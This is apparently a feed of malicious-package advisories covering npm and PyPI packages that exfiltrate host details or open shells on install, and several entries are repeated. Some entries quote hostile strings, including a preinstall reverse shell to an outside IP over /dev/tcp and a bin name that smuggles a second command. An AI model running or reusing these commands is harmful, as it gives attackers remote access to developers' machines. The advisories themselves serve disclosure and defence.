MAL-2026-16313 Malicious code in test1gg234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...

Malicious code in test1gg234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...

MAL-2026-16310 Malicious code in npx-test-ma980 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6 package.json declares a bin entry whose key contains shell metacharacters and a chained command: "tool & calc.exe": "./run.js". On Windows, npm's bin...

MAL-2026-16307 Malicious code in chai-testing (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da6bebc82e500e38b0ab9c507b1d56c18a05a1ffd04fcee60f0dcad991c8944a The package's main entry index.js spawns a detached node lib/caller.js when the module is required. caller.js base64-decodes a hardcoded URL...

MAL-2026-16302 Malicious code in @nimbusedge2/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to...

MAL-2026-16309 Malicious code in npmscript_tesstalert_unpkg (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c84336bfcd8d43d3f97942ded74e5a049c05e024f5a4b79dbee66acff1e1627 The package ships a single script exposed via the unpkg field for CDN loading into web pages. When executed in a browser, the script reads...

MAL-2026-16305 Malicious code in @nimbusedge2/x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i &...

MAL-2026-16301 Malicious code in @nimbsuedge3/xar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...

Malicious code in @nimbsuedge3/xar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...

Malicious code in @pwaplatform/module-sso-integration (npm)

Source: ossf-package-analysis 774cfab0bd1150e7f7e40819176562e4e19983d87b347f5a55a0b60dfbbca7d3 The OpenSSF Package Analysis project identified '@pwaplatform/module-sso-integration' @ 99.0.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated...

Malicious code in @pwaplatform/module-sso-integration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f674867f67f5a8495dbc953913b6cc7c0d8b9d094161c660ca4dfd5449506ba @pwaplatform/[email protected] declares both preinstall and postinstall lifecycle scripts that execute payload.js on npm install...

MAL-2026-16347 Malicious code in radio-player-theme (npm)

radio-player-theme presents itself as a radio player theme. The published tarball contains three files: package.json, style.css declared as main and payload.js, which holds the package's only executable code. payload.js is a browser payload. On execution it reads location.origin and...

Malicious code in urc (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 abbaafd909f0cd09835c29c401432a9aa6094c2007973ba23e70f3fe06b07785 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in keroeltop (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...

MAL-2026-16297 Malicious code in keroeltop (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...

MAL-2026-16292 Malicious code in @shared-web/utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5425b12d827e5327939280ed16ddd0a613b28d0d728a0a8b193f342a666c65e9 package.json declares scripts.install: node index.js, which loads lib/core.js. On npm install, that module reads os.userInfo.username, os.hostname, a...

MAL-2026-16293 Malicious code in chai-as-indexed (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6bd158a05893a55a82bee4867772aefbfb3199a443c38e7161db1a71d47ced86 chai-as-indexed presents itself as a pino-compatible logger package.json keywords fast/logger/stream/json, exports module.exports.pino, lib/ filename...

Malicious code in @insiderintelligence/googleadmanager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...

MAL-2026-16290 Malicious code in @insiderintelligence/googleadmanager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...

Malicious code in @shared-runtime/modules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc6095cf4766c948193c22d8c0e775010fc3ab47733a1020fb8fd5367d88e5e9 @shared-runtime/[email protected] collects the installer's OS username os.userInfo.username, hostname os.hostname and current working-directory basename...